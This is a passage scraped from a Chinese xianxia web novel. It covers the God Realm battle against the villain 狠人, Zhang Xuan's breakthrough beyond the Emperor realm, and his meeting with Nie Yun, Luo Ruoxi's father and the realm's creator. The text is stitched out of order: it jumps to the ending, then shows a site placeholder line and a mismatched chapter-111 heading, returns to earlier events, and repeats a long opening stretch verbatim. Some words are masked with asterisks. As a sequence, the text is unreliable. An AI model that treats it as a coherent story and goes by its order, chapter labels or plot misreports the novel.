“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 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是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第111章妹妹真是……体贴入微 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 